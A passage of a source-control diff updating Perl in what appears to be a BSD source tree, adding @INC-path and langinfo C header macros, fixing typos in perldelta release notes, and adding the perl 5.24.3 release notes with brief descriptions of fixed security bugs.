+/* used by INCPUSH_PRIVLIB_EXP */
+#ifndef PRIVLIB_EXP
+# define PRIVLIB_EXP "/usr/local/lib/perl5:/usr/local/lib/perl"
+#endif
+
+#if defined(WIN32)
+# define INCPUSH_PRIVLIB_EXP s = PerlEnv_lib_path(PERL_FS_VERSION, &len); \
+ if (s) incpush_use_sep(s, len, INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
+#elif defined(NETWARE)
+# define INCPUSH_PRIVLIB_EXP S_incpush_use_sep(aTHX_ PRIVLIB_EXP, 0, INCPUSH_CAN_RELOCATE);
+#else
+# define INCPUSH_PRIVLIB_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(PRIVLIB_EXP), INCPUSH_CAN_RELOCATE);
+#endif
+
+#ifdef PERL_OTHERLIBDIRS
+# define INCPUSH_PERL_OTHERLIBDIRS S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_OTHERLIBDIRS), \
+ INCPUSH_ADD_VERSIONED_SUB_DIRS|INCPUSH_NOT_BASEDIR|INCPUSH_CAN_RELOCATE);
+#endif
+
+
+/* submacros for INCPUSH_PERL5LIB */
+
+#if defined(PERL_USE_SAFE_PUTENV) && ! defined(HAS_UNSETENV)
+# define _INCPUSH_PERL5LIB_IF if (perl5lib && *perl5lib != '\0')
+#else
+# define _INCPUSH_PERL5LIB_IF if (perl5lib)
+#endif
+
+#ifndef VMS
+/*
+ * It isn't possible to delete an environment variable with
+ * PERL_USE_SAFE_PUTENV set unless unsetenv() is also available, so in that
+ * case we treat PERL5LIB as undefined if it has a zero-length value.
+ */
+# define _INCPUSH_PERL5LIB_ADD _INCPUSH_PERL5LIB_IF incpush_use_sep(perl5lib, 0, INCPUSH_ADD_OLD_VERS|INCPUSH_NOT_BASEDIR);
+#else
+/* VMS */
+ /* Treat PERL5?LIB as a possible search list logical name -- the
+ * "natural" VMS idiom for a Unix path string. We allow each
+ * element to be a set of |-separated directories for compatibility.
+ */
+# define _INCPUSH_PERL5LIB_ADD char buf[256]; \
+ int idx = 0; \
+ if (vmstrnenv("PERL5LIB",buf,0,NULL,0)) \
+ do { \
+ incpush_use_sep(buf, 0, \
+ INCPUSH_ADD_OLD_VERS|INCPUSH_NOT_BASEDIR); \
+ } while (vmstrnenv("PERL5LIB",buf,++idx,NULL,0));
+#endif
+
+/* this macro is special and use submacros from above */
+#define INCPUSH_PERL5LIB if (!TAINTING_get) { _INCPUSH_PERL5LIB_ADD }
+
+/* Use the ~-expanded versions of APPLLIB (undocumented),
+ SITELIB and VENDORLIB for older versions
+*/
+#ifdef APPLLIB_EXP
+# define INCPUSH_APPLLIB_OLD_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(APPLLIB_EXP), \
+ INCPUSH_ADD_OLD_VERS|INCPUSH_NOT_BASEDIR|INCPUSH_CAN_RELOCATE);
+#endif
+
+#if defined(SITELIB_STEM) && defined(PERL_INC_VERSION_LIST)
+ /* Search for version-specific dirs below here */
+# define INCPUSH_SITELIB_STEM S_incpush_use_sep(aTHX_ STR_WITH_LEN(SITELIB_STEM), \
+ INCPUSH_ADD_OLD_VERS|INCPUSH_CAN_RELOCATE);
+#endif
+
+
+#if defined(PERL_VENDORLIB_STEM) && defined(PERL_INC_VERSION_LIST)
+ /* Search for version-specific dirs below here */
+# define INCPUSH_PERL_VENDORLIB_STEM S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_VENDORLIB_STEM), \
+ INCPUSH_ADD_OLD_VERS|INCPUSH_CAN_RELOCATE);
+#endif
+
+#ifdef PERL_OTHERLIBDIRS
+# define INCPUSH_PERL_OTHERLIBDIRS_ARCHONLY S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_OTHERLIBDIRS), \
+ INCPUSH_ADD_OLD_VERS|INCPUSH_ADD_ARCHONLY_SUB_DIRS|INCPUSH_CAN_RELOCATE);
+#endif
+
+
+/* define all undefined macros... */
+#ifndef INCPUSH_APPLLIB_EXP
+#define INCPUSH_APPLLIB_EXP
+#endif
+#ifndef INCPUSH_SITEARCH_EXP
+#define INCPUSH_SITEARCH_EXP
+#endif
+#ifndef INCPUSH_SITELIB_EXP
+#define INCPUSH_SITELIB_EXP
+#endif
+#ifndef INCPUSH_PERL_VENDORARCH_EXP
+#define INCPUSH_PERL_VENDORARCH_EXP
+#endif
+#ifndef INCPUSH_PERL_VENDORLIB_EXP
+#define INCPUSH_PERL_VENDORLIB_EXP
+#endif
+#ifndef INCPUSH_ARCHLIB_EXP
+#define INCPUSH_ARCHLIB_EXP
+#endif
+#ifndef INCPUSH_PRIVLIB_EXP
+#define INCPUSH_PRIVLIB_EXP
+#endif
+#ifndef INCPUSH_PERL_OTHERLIBDIRS
+#define INCPUSH_PERL_OTHERLIBDIRS
+#endif
+#ifndef INCPUSH_PERL5LIB
+#define INCPUSH_PERL5LIB
+#endif
+#ifndef INCPUSH_APPLLIB_OLD_EXP
+#define INCPUSH_APPLLIB_OLD_EXP
+#endif
+#ifndef INCPUSH_SITELIB_STEM
+#define INCPUSH_SITELIB_STEM
+#endif
+#ifndef INCPUSH_PERL_VENDORLIB_STEM
+#define INCPUSH_PERL_VENDORLIB_STEM
+#endif
+#ifndef INCPUSH_PERL_OTHERLIBDIRS_ARCHONLY
+#define INCPUSH_PERL_OTHERLIBDIRS_ARCHONLY
+#endif
+
+#endif /* DEFINE_INC_MACROS */
diff --git a/gnu/usr.bin/perl/perl_langinfo.h b/gnu/usr.bin/perl/perl_langinfo.h
new file mode 100644
index 00000000000..60c189b8377
--- /dev/null
+++ b/gnu/usr.bin/perl/perl_langinfo.h
@@ -0,0 +1,190 @@
+/* Replaces <langinfo.h>, and allows our code to work on systems that don't
+ * have that. */
+
+#ifndef PERL_LANGINFO_H
+#define PERL_LANGINFO_H 1
+
+#include "config.h"
+
+#if defined(HAS_NL_LANGINFO) && defined(I_LANGINFO)
+# include <langinfo.h>
+#endif
+
+/* NOTE that this file is parsed by ext/XS-APItest/t/locale.t, so be careful
+ * with changes */
+
+/* If foo doesn't exist define it to a negative number. */
+
+#ifndef CODESET
+# define CODESET -1
+#endif
+#ifndef D_T_FMT
+# define D_T_FMT -2
+#endif
+#ifndef D_FMT
+# define D_FMT -3
+#endif
+#ifndef T_FMT
+# define T_FMT -4
+#endif
+#ifndef T_FMT_AMPM
+# define T_FMT_AMPM -5
+#endif
+#ifndef AM_STR
+# define AM_STR -6
+#endif
+#ifndef PM_STR
+# define PM_STR -7
+#endif
+#ifndef DAY_1
+# define DAY_1 -8
+#endif
+#ifndef DAY_2
+# define DAY_2 -9
+#endif
+#ifndef DAY_3
+# define DAY_3 -10
+#endif
+#ifndef DAY_4
+# define DAY_4 -11
+#endif
+#ifndef DAY_5
+# define DAY_5 -12
+#endif
+#ifndef DAY_6
+# define DAY_6 -13
+#endif
+#ifndef DAY_7
+# define DAY_7 -14
+#endif
+#ifndef ABDAY_1
+# define ABDAY_1 -15
+#endif
+#ifndef ABDAY_2
+# define ABDAY_2 -16
+#endif
+#ifndef ABDAY_3
+# define ABDAY_3 -17
+#endif
+#ifndef ABDAY_4
+# define ABDAY_4 -18
+#endif
+#ifndef ABDAY_5
+# define ABDAY_5 -19
+#endif
+#ifndef ABDAY_6
+# define ABDAY_6 -20
+#endif
+#ifndef ABDAY_7
+# define ABDAY_7 -21
+#endif
+#ifndef MON_1
+# define MON_1 -22
+#endif
+#ifndef MON_2
+# define MON_2 -23
+#endif
+#ifndef MON_3
+# define MON_3 -24
+#endif
+#ifndef MON_4
+# define MON_4 -25
+#endif
+#ifndef MON_5
+# define MON_5 -26
+#endif
+#ifndef MON_6
+# define MON_6 -27
+#endif
+#ifndef MON_7
+# define MON_7 -28
+#endif
+#ifndef MON_8
+# define MON_8 -29
+#endif
+#ifndef MON_9
+# define MON_9 -30
+#endif
+#ifndef MON_10
+# define MON_10 -31
+#endif
+#ifndef MON_11
+# define MON_11 -32
+#endif
+#ifndef MON_12
+# define MON_12 -33
+#endif
+#ifndef ABMON_1
+# define ABMON_1 -34
+#endif
+#ifndef ABMON_2
+# define ABMON_2 -35
+#endif
+#ifndef ABMON_3
+# define ABMON_3 -36
+#endif
+#ifndef ABMON_4
+# define ABMON_4 -37
+#endif
+#ifndef ABMON_5
+# define ABMON_5 -38
+#endif
+#ifndef ABMON_6
+# define ABMON_6 -39
+#endif
+#ifndef ABMON_7
+# define ABMON_7 -40
+#endif
+#ifndef ABMON_8
+# define ABMON_8 -41
+#endif
+#ifndef ABMON_9
+# define ABMON_9 -42
+#endif
+#ifndef ABMON_10
+# define ABMON_10 -43
+#endif
+#ifndef ABMON_11
+# define ABMON_11 -44
+#endif
+#ifndef ABMON_12
+# define ABMON_12 -45
+#endif
+#ifndef ERA
+# define ERA -46
+#endif
+#ifndef ERA_D_FMT
+# define ERA_D_FMT -47
+#endif
+#ifndef ERA_D_T_FMT
+# define ERA_D_T_FMT -48
+#endif
+#ifndef ERA_T_FMT
+# define ERA_T_FMT -49
+#endif
+#ifndef ALT_DIGITS
+# define ALT_DIGITS -50
+#endif
+#ifndef RADIXCHAR
+# define RADIXCHAR -51
+#endif
+#ifndef THOUSEP
+# define THOUSEP -52
+#endif
+#ifndef YESEXPR
+# define YESEXPR -53
+#endif
+#ifndef YESSTR
+# define YESSTR -54
+#endif
+#ifndef NOEXPR
+# define NOEXPR -55
+#endif
+#ifndef NOSTR
+# define NOSTR -56
+#endif
+#ifndef CRNCYSTR
+# define CRNCYSTR -57
+#endif
+
+#endif
diff --git a/gnu/usr.bin/perl/pod/perl5004delta.pod b/gnu/usr.bin/perl/pod/perl5004delta.pod
index fc5ae62bb85..264483e118b 100644
--- a/gnu/usr.bin/perl/pod/perl5004delta.pod
+++ b/gnu/usr.bin/perl/pod/perl5004delta.pod
@@ -696,7 +696,7 @@ effect if perl is compiled with system malloc().)
If this macro is defined, running out of memory need not be a fatal
error: a memory pool can allocated by assigning to the special
-variable C<$^M>. See L<"$^M">.
+variable C<$^M>. See L</"$^M">.
=item -DPACK_MALLOC
diff --git a/gnu/usr.bin/perl/pod/perl5005delta.pod b/gnu/usr.bin/perl/pod/perl5005delta.pod
index e73bcebc429..f1e304e3202 100644
--- a/gnu/usr.bin/perl/pod/perl5005delta.pod
+++ b/gnu/usr.bin/perl/pod/perl5005delta.pod
@@ -106,7 +106,7 @@ directly accessing perl globals as C<GvSV(errgv)>. The API call is
backward compatible with existing perls and provides source compatibility
with threading is enabled.
-See L<"C Source Compatibility"> for more information.
+See L</"C Source Compatibility"> for more information.
=back
@@ -134,7 +134,7 @@ Oneliners with the C<-e> switch do not create temporary files anymore.
Many new warnings that were introduced in 5.004 have been made
optional. Some of these warnings are still present, but perl's new
-features make them less often a problem. See L<New Diagnostics>.
+features make them less often a problem. See L</New Diagnostics>.
=head2 Licensing
diff --git a/gnu/usr.bin/perl/pod/perl5100delta.pod b/gnu/usr.bin/perl/pod/perl5100delta.pod
index 10d71d686a3..6728559a95e 100644
--- a/gnu/usr.bin/perl/pod/perl5100delta.pod
+++ b/gnu/usr.bin/perl/pod/perl5100delta.pod
@@ -1015,7 +1015,7 @@ The L<perlreapi> manpage describes the interface to the perl interpreter
used to write pluggable regular expression engines (by Ævar Arnfjörð
Bjarmason).
-The L<perlunitut> manpage is an tutorial for programming with Unicode and
+The L<perlunitut> manpage is a tutorial for programming with Unicode and
string encodings in Perl, courtesy of Juerd Waalboer.
A new manual page, L<perlunifaq> (the Perl Unicode FAQ), has been added
@@ -1576,7 +1576,7 @@ inherits from C<B::SV> (it used to inherit from C<B::IV>).
The anonymous hash and array constructors now take 1 op in the optree
instead of 3, now that pp_anonhash and pp_anonlist return a reference to
-an hash/array when the op is flagged with OPf_SPECIAL. (Nicholas Clark)
+a hash/array when the op is flagged with OPf_SPECIAL. (Nicholas Clark)
=head1 Known Problems
diff --git a/gnu/usr.bin/perl/pod/perl5101delta.pod b/gnu/usr.bin/perl/pod/perl5101delta.pod
index 415ab6be245..1fdd0451d90 100644
--- a/gnu/usr.bin/perl/pod/perl5101delta.pod
+++ b/gnu/usr.bin/perl/pod/perl5101delta.pod
@@ -127,7 +127,7 @@ if overload fallback is active, it will be used instead, as usual.)
=item *
The semantics of C<use feature :5.10*> have changed slightly.
-See L<"Modules and Pragmata"> for more information.
+See L</"Modules and Pragmata"> for more information.
=item *
diff --git a/gnu/usr.bin/perl/pod/perl5120delta.pod b/gnu/usr.bin/perl/pod/perl5120delta.pod
index b8bd646bdda..5b5eac0ecfb 100644
--- a/gnu/usr.bin/perl/pod/perl5120delta.pod
+++ b/gnu/usr.bin/perl/pod/perl5120delta.pod
@@ -65,7 +65,7 @@ years, it will become a standard practice.
However, C<package NAME VERSION> requires a new, 'strict' version
-number format. See L<"Version number formats"> for details.
+number format. See L</"Version number formats"> for details.
=head2 The C<...> operator
@@ -430,7 +430,7 @@ to bless them into C<IO::Handle>.
=item *
The semantics of C<use feature :5.10*> have changed slightly.
-See L<"Modules and Pragmata"> for more information.
+See L</"Modules and Pragmata"> for more information.
=item *
@@ -1707,7 +1707,7 @@ Two flag bits are currently supported.
=item *
C<SVf_UTF8> will call C<SvUTF8_on()> for you. (Note that this does
-not convert an sequence of ISO 8859-1 characters to UTF-8). A wrapper,
+not convert a sequence of ISO 8859-1 characters to UTF-8). A wrapper,
C<newSVpvn_utf8()> is available for this.
=item *
diff --git a/gnu/usr.bin/perl/pod/perl5140delta.pod b/gnu/usr.bin/perl/pod/perl5140delta.pod
index 26df41c6520..0f4fa6f6d4f 100644
--- a/gnu/usr.bin/perl/pod/perl5140delta.pod
+++ b/gnu/usr.bin/perl/pod/perl5140delta.pod
@@ -2461,7 +2461,7 @@ parser's API in a detectable way.
=item refcnt: fd %d%s
-This new error only occurs if a internal consistency check fails when a
+This new error only occurs if an internal consistency check fails when a
pipe is about to be closed.
=item Regexp modifier "/%c" may not appear twice
diff --git a/gnu/usr.bin/perl/pod/perl5180delta.pod b/gnu/usr.bin/perl/pod/perl5180delta.pod
index a5a3cae23e6..79d2af3604a 100644
--- a/gnu/usr.bin/perl/pod/perl5180delta.pod
+++ b/gnu/usr.bin/perl/pod/perl5180delta.pod
@@ -540,7 +540,7 @@ inherited by child processes.
In this release, when assigning to C<%ENV>, values are immediately stringified,
and converted to be only a byte string.
-First, it is forced to be a only a string. Then if the string is utf8 and the
+First, it is forced to be only a string. Then if the string is utf8 and the
equivalent of C<utf8::downgrade()> works, that result is used; otherwise, the
equivalent of C<utf8::encode()> is used, and a warning is issued about wide
characters (L</Diagnostics>).
@@ -2759,7 +2759,7 @@ The use of C<PL_stashcache>, the stash name lookup cache for method calls, has
been restored,
Commit da6b625f78f5f133 in August 2011 inadvertently broke the code that looks
-up values in C<PL_stashcache>. As it's a only cache, quite correctly everything
+up values in C<PL_stashcache>. As it's only a cache, quite correctly everything
carried on working without it.
=item *
diff --git a/gnu/usr.bin/perl/pod/perl5181delta.pod b/gnu/usr.bin/perl/pod/perl5181delta.pod
index 93fb251991f..64bb9d0844d 100644
--- a/gnu/usr.bin/perl/pod/perl5181delta.pod
+++ b/gnu/usr.bin/perl/pod/perl5181delta.pod
@@ -48,7 +48,7 @@ Module::CoreList has been upgraded from 2.89 to 2.96.
=item AIX
-A rarely-encounted configuration bug in the AIX hints file has been corrected.
+A rarely-encountered configuration bug in the AIX hints file has been corrected.
=item MidnightBSD
diff --git a/gnu/usr.bin/perl/pod/perl5184delta.pod b/gnu/usr.bin/perl/pod/perl5184delta.pod
index 3f1b3a37e5c..4a043a1cbe8 100644
--- a/gnu/usr.bin/perl/pod/perl5184delta.pod
+++ b/gnu/usr.bin/perl/pod/perl5184delta.pod
@@ -48,7 +48,7 @@ Introduced by
L<perl #113536|https://rt.perl.org/Public/Bug/Display.html?id=113536>, a memory
leak on every call to C<system> and backticks (C< `` >), on most Win32 Perls
starting from 5.18.0 has been fixed. The memory leak only occurred if you
-enabled psuedo-fork in your build of Win32 Perl, and were running that build on
+enabled pseudo-fork in your build of Win32 Perl, and were running that build on
Server 2003 R2 or newer OS. The leak does not appear on WinXP SP3.
[L<perl #121676|https://rt.perl.org/Public/Bug/Display.html?id=121676>]
diff --git a/gnu/usr.bin/perl/pod/perl5240delta.pod b/gnu/usr.bin/perl/pod/perl5240delta.pod
index 0b0e8bc7af3..f1468eefec8 100644
--- a/gnu/usr.bin/perl/pod/perl5240delta.pod
+++ b/gnu/usr.bin/perl/pod/perl5240delta.pod
@@ -96,7 +96,7 @@ platform.
Previously perl would redirect to another interpreter if it found a
hashbang path unless the path contains "perl" (see L<perlrun>). To improve
-compatability with Perl 6 this behavior has been extended to also redirect
+compatibility with Perl 6 this behavior has been extended to also redirect
if "perl" is followed by "6".
=head1 Security
@@ -525,10 +525,6 @@ L<fields> has been upgraded from version 2.17 to 2.23.
=item *
-L<File::Copy> has been upgraded from version 2.30 to 2.31.
-
-=item *
-
L<File::Find> has been upgraded from version 1.29 to 1.34.
=item *
@@ -613,7 +609,7 @@ L<Math::BigRat> has been upgraded from version 0.2608 to 0.260802.
=item *
-L<Module::CoreList> has been upgraded from version 5.20150520 to 5.20160506.
+L<Module::CoreList> has been upgraded from version 5.20150520 to 5.20160320.
=item *
@@ -665,10 +661,6 @@ L<PerlIO::via> has been upgraded from version 0.15 to 0.16.
=item *
-podlators has been upgraded from version 2.28 to 4.07.
-
-=item *
-
L<Pod::Functions> has been upgraded from version 1.09 to 1.10.
=item *
@@ -729,15 +721,15 @@ L<Test::Harness> has been upgraded from version 3.35 to 3.36.
=item *
-L<Thread::Queue> has been upgraded from version 3.05 to 3.09.
+L<Thread::Queue> has been upgraded from version 3.05 to 3.08.
=item *
-L<threads> has been upgraded from version 2.01 to 2.07.
+L<threads> has been upgraded from version 2.01 to 2.06.
=item *
-L<threads::shared> has been upgraded from version 1.48 to 1.51.
+L<threads::shared> has been upgraded from version 1.48 to 1.50.
=item *
@@ -749,7 +741,7 @@ L<Tie::Scalar> has been upgraded from version 1.03 to 1.04.
=item *
-L<Time::HiRes> has been upgraded from version 1.9726 to 1.9733.
+L<Time::HiRes> has been upgraded from version 1.9726 to 1.9732.
=item *
@@ -2135,56 +2127,10 @@ not always detected, giving incorrect results. This is now fixed.
=back
-=head1 Known Problems
-
-=over 4
-
-=item *
-
-Some modules have been broken by the L<context stack rework|/Internal Changes>.
-These modules were relying on non-guaranteed implementation details in perl.
-Their maintainers have been informed, and should contact perl5-porters for
-advice if needed. Below is a subset of these modules:
-
-=over 4
-
-=item L<Algorithm::Permute>
-
-=item L<Coro>
-
-L<Coro> and perl v5.22.0 were already incompatible due to a change in the perl,
-and the reworking on the perl context stack creates a further incompatibility.
-perl5-porters has L<discussed the issue on the mailing
-list|http://www.nntp.perl.org/group/perl.perl5.porters/2016/05/msg236174.html>.
-
-=item L<Data::Alias>
-
-=item L<RPerl>
-
-=item L<Scope::Upper>
-
-=item L<TryCatch>
-
-=back
-
-=item *
-
-The module L<lexical::underscore> no longer works on perl v5.24.0, because perl
-no longer has a lexical C<$_>!
-
-=item *
-
-C<mod_perl> has been patched for compatibility for v5.22.0 and later but no
-release has been made. The relevant patch (and other changes) can be found in
-their source code repository, L<mirrored at
-GitHub|https://github.com/apache/mod_perl/commit/82827132efd3c2e25cc413c85af61bb63375da6e>.
-
-=back
-
=head1 Acknowledgements
-Perl 5.24.0 represents approximately 11 months of development since Perl 5.22.0
-and contains approximately 360,000 lines of changes across 1,800 files from 77
+Perl 5.24.0 represents approximately 11 months of development since Perl 5.24.0
+and contains approximately 360,000 lines of changes across 1,800 files from 75
authors.
Excluding auto-generated files, documentation and release tools, there were
@@ -2198,18 +2144,17 @@ Aaron Crane, Aaron Priven, Abigail, Achim Gratz, Alexander D'Archangel, Alex
Vandiver, Andreas König, Andy Broad, Andy Dougherty, Aristotle Pagaltzis,
Chase Whitener, Chas. Owens, Chris 'BinGOs' Williams, Craig A. Berry, Dagfinn
Ilmari Mannsåker, Dan Collins, Daniel Dragan, David Golden, David Mitchell,
-Dominic Hargreaves, Doug Bell, Dr.Ruud, Ed Avis, Ed J, Father Chrysostomos,
-Herbert Breunung, H.Merijn Brand, Hugo van der Sanden, Ivan Pozdeev, James E
-Keenan, Jan Dubois, Jarkko Hietaniemi, Jerry D. Hedden, Jim Cromie, John
-Peacock, John SJ Anderson, Karen Etheridge, Karl Williamson, kmx, Leon
-Timmermans, Ludovic E. R. Tolhurst-Cleaver, Lukas Mai, Martijn Lievaart,
-Matthew Horsfall, Mattia Barbon, Max Maischein, Mohammed El-Afifi, Nicholas
-Clark, Nicolas R., Niko Tyni, Peter John Acklam, Peter Martini, Peter
-Rabbitson, Pip Cet, Rafael Garcia-Suarez, Reini Urban, Renee Baecker, Ricardo
-Signes, Sawyer X, Shlomi Fish, Sisyphus, Stanislaw Pusep, Steffen Müller,
-Stevan Little, Steve Hay, Sullivan Beck, Thomas Sibley, Todd Rinaldo, Tom
-Hukins, Tony Cook, Unicode Consortium, Victor Adam, Vincent Pit, Vladimir
-Timofeev, Yves Orton, Zachary Storer, Zefram.
+Doug Bell, Dr.Ruud, Ed Avis, Ed J, Father Chrysostomos, Herbert Breunung,
+H.Merijn Brand, Hugo van der Sanden, Ivan Pozdeev, James E Keenan, Jan Dubois,
+Jarkko Hietaniemi, Jerry D. Hedden, Jim Cromie, John Peacock, John SJ Anderson,
+Karen Etheridge, Karl Williamson, kmx, Leon Timmermans, Ludovic E. R.
+Tolhurst-Cleaver, Lukas Mai, Martijn Lievaart, Matthew Horsfall, Mattia Barbon,
+Max Maischein, Mohammed El-Afifi, Nicholas Clark, Nicolas R., Niko Tyni, Peter
+John Acklam, Peter Martini, Peter Rabbitson, Pip Cet, Rafael Garcia-Suarez,
+Reini Urban, Ricardo Signes, Sawyer X, Shlomi Fish, Sisyphus, Stanislaw Pusep,
+Steffen Müller, Stevan Little, Steve Hay, Sullivan Beck, Thomas Sibley, Todd
+Rinaldo, Tom Hukins, Tony Cook, Unicode Consortium, Victor Adam, Vincent Pit,
+Vladimir Timofeev, Yves Orton, Zachary Storer, Zefram.
The list above is almost certainly incomplete as it is automatically generated
from version control history. In particular, it does not include the names of
diff --git a/gnu/usr.bin/perl/pod/perl5243delta.pod b/gnu/usr.bin/perl/pod/perl5243delta.pod
new file mode 100644
index 00000000000..7aabed92b90
--- /dev/null
+++ b/gnu/usr.bin/perl/pod/perl5243delta.pod
@@ -0,0 +1,335 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5243delta - what is new for perl v5.24.3
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.24.2 release and the 5.24.3
+release.
+
+If you are upgrading from an earlier release such as 5.24.1, first read
+L<perl5242delta>, which describes differences between 5.24.1 and 5.24.2.
+
+=head1 Security
+
+=head2 [CVE-2017-12837] Heap buffer overflow in regular expression compiler
+
+Compiling certain regular expression patterns with the case-insensitive
+modifier could cause a heap buffer overflow and crash perl. This has now been
+fixed.
+L<[perl #131582]|https://rt.perl.org/Public/Bug/Display.html?id=131582>
+
+=head2 [CVE-2017-12883] Buffer over-read in regular expression parser
+
+For certain types of syntax error in a regular expression pattern, the error
+message could either contain the contents of a random, possibly large, chunk of
+memory, or could crash perl. This has now been fixed.
+L<[perl #131598]|https://rt.perl.org/Public/Bug/Display.html?id=131598>
+
+=head2 [CVE-2017-12814] C<$ENV{$key}> stack buffer overflow on Windows
+
+A possible stack buffer overflow in the C<%ENV> code on Windows has been fixed
+by removing the buffer completely since it was superfluous anyway.
+L<[perl #131665]|https://rt.perl.org/Public/Bug/Display.html?id=131665>
+
+=head1 Incompatible Changes
+
+There are no changes intentionally incompatible with 5.24.2. If any exist,
+they are bugs, and we request that you submit a report. See L</Reporting
+Bugs> below.
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170715_24 to
+5.20170922_24.
+
+=item *
+
+L<POSIX> has been upgraded from version 1.65 to 1.65_01.
+
+=item *
+
+L<Time::HiRes> has been upgraded from version 1.9733 to 1.9741.
+
+L<[perl #128427]|https://rt.perl.org/Public/Bug/Display.html?id=128427>
+L<[perl #128445]|https://rt.perl.org/Public/Bug/Display.html?id=128445>
+L<[perl #128972]|https://rt.perl.org/Public/Bug/Display.html?id=128972>
+L<[cpan #120032]|https://rt.cpan.org/Public/Bug/Display.html?id=120032>
+
+=back
+
+=head1 Configuration and Compilation
+
+=over 4
+
+=item *
+
+When building with GCC 6 and link-time optimization (the B<-flto> option to
+B<gcc>), F<Configure> was treating all probed symbols as present on the system,
+regardless of whether they actually exist. This has been fixed.
+L<[perl #128131]|https://rt.perl.org/Public/Bug/Display.html?id=128131>
+
+=item *
+
+F<Configure> now aborts if both C<-Duselongdouble> and C<-Dusequadmath> are
+requested.
+L<[perl #126203]|https://rt.perl.org/Public/Bug/Display.html?id=126203>
+
+=item *
+
+Fixed a bug in which F<Configure> could append C<-quadmath> to the archname
+even if it was already present.
+L<[perl #128538]|https://rt.perl.org/Public/Bug/Display.html?id=128538>
+
+=item *
+
+Clang builds with C<-DPERL_GLOBAL_STRUCT> or C<-DPERL_GLOBAL_STRUCT_PRIVATE>
+have been fixed (by disabling Thread Safety Analysis for these configurations).
+
+=back
+
+=head1 Platform Support
+
+=head2 Platform-Specific Notes
+
+=over 4
+
+=item VMS
+
+=over 4
+
+=item *
+
+C<configure.com> now recognizes the VSI-branded C compiler.
+
+=back
+
+=item Windows
+
+=over 4
+
+=item *
+
+Building XS modules with GCC 6 in a 64-bit build of Perl failed due to
+incorrect mapping of C<strtoll> and C<strtoull>. This has now been fixed.
+L<[perl #131726]|https://rt.perl.org/Public/Bug/Display.html?id=131726>
+L<[cpan #121683]|https://rt.cpan.org/Public/Bug/Display.html?id=121683>
+L<[cpan #122353]|https://rt.cpan.org/Public/Bug/Display.html?id=122353>
+
+=back
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+C<< /@0{0*-E<gt>@*/*0 >> and similar contortions used to crash, but no longer
+do, but merely produce a syntax error.
+L<[perl #128171]|https://rt.perl.org/Public/Bug/Display.html?id=128171>
+
+=item *
+
+C<do> or C<require> with an argument which is a reference or typeglob which,
+when stringified, contains a null character, started crashing in Perl 5.20, but
+has now been fixed.
+L<[perl #128182]|https://rt.perl.org/Public/Bug/Display.html?id=128182>
+
+=item *
+
+Expressions containing an C<&&> or C<||> operator (or their synonyms C<and> and
+C<or>) were being compiled incorrectly in some cases. If the left-hand side
+consisted of either a negated bareword constant or a negated C<do {}> block
+containing a constant expression, and the right-hand side consisted of a
+negated non-foldable expression, one of the negations was effectively ignored.
+The same was true of C<if> and C<unless> statement modifiers, though with the
+left-hand and right-hand sides swapped. This long-standing bug has now been
+fixed.
+L<[perl #127952]|https://rt.perl.org/Public/Bug/Display.html?id=127952>
+
+=item *
+
+C<reset> with an argument no longer crashes when encountering stash entries
+other than globs.
+L<[perl #128106]|https://rt.perl.org/Public/Bug/Display.html?id=128106>
+
+=item *
+
+Assignment of hashes to, and deletion of, typeglobs named C<*::::::> no longer
+causes crashes.
+L<[perl #128086]|https://rt.perl.org/Public/Bug/Display.html?id=128086>
+
+=item *
+
+Assignment variants of any bitwise ops under the C<bitwise> feature would crash
+if the left-hand side was an array or hash.
+L<[perl #128204]|https://rt.perl.org/Public/Bug/Display.html?id=128204>
+
+=item *
+
+C<socket> now leaves the error code returned by the system in C<$!> on failure.
+L<[perl #128316]|https://rt.perl.org/Public/Bug/Display.html?id=128316>
+
+=item *
+
+Parsing bad POSIX charclasses no longer leaks memory.
+L<[perl #128313]|https://rt.perl.org/Public/Bug/Display.html?id=128313>
+
+=item *
+
+Since Perl 5.20, line numbers have been off by one when perl is invoked with
+the B<-x> switch. This has been fixed.
+L<[perl #128508]|https://rt.perl.org/Public/Bug/Display.html?id=128508>
+
+=item *
+
+Some obscure cases of subroutines and file handles being freed at the same time
+could result in crashes, but have been fixed. The crash was introduced in Perl
+5.22.
+L<[perl #128597]|https://rt.perl.org/Public/Bug/Display.html?id=128597>
+
+=item *
+
+Some regular expression parsing glitches could lead to assertion failures with
+regular expressions such as C</(?E<lt>=/> and C</(?E<lt>!/>. This has now been
+fixed.
+L<[perl #128170]|https://rt.perl.org/Public/Bug/Display.html?id=128170>
+
+=item *
+
+C<gethostent> and similar functions now perform a null check internally, to
+avoid crashing with the torsocks library. This was a regression from Perl
+5.22.
+L<[perl #128740]|https://rt.perl.org/Public/Bug/Display.html?id=128740>
+
+=item *
+
+Mentioning the same constant twice in a row (which is a syntax error) no longer
+fails an assertion under debugging builds. This was a regression from Perl
+5.20.
+L<[perl #126482]|https://rt.perl.org/Public/Bug/Display.html?id=126482>
+
+=item *
+
+In Perl 5.24 C<fchown> was changed not to accept negative one as an argument
+because in some platforms that is an error. However, in some other platforms
+that is an acceptable argument. This change has been reverted.
+L<[perl #128967]|https://rt.perl.org/Public/Bug/Display.html?id=128967>.
+
+=item *
+
+C<@{x> followed by a newline where C<"x"> represents a control or non-ASCII
+character no longer produces a garbled syntax error message or a crash.
+L<[perl #128951]|https://rt.perl.org/Public/Bug/Display.html?id=128951>
+
+=item *
+
+A regression in Perl 5.24 with C<tr/\N{U+...}/foo/> when the code point was
+between 128 and 255 has been fixed.
+L<[perl #128734]|https://rt.perl.org/Public/Bug/Display.html?id=128734>.
+
+=item *
+
+Many issues relating to C<printf "%a"> of hexadecimal floating point were
+fixed. In addition, the "subnormals" (formerly known as "denormals") floating
+point numbers are now supported both with the plain IEEE 754 floating point
+numbers (64-bit or 128-bit) and the x86 80-bit "extended precision". Note that
+subnormal hexadecimal floating point literals will give a warning about
+"exponent underflow".
+L<[perl #128843]|https://rt.perl.org/Public/Bug/Display.html?id=128843>
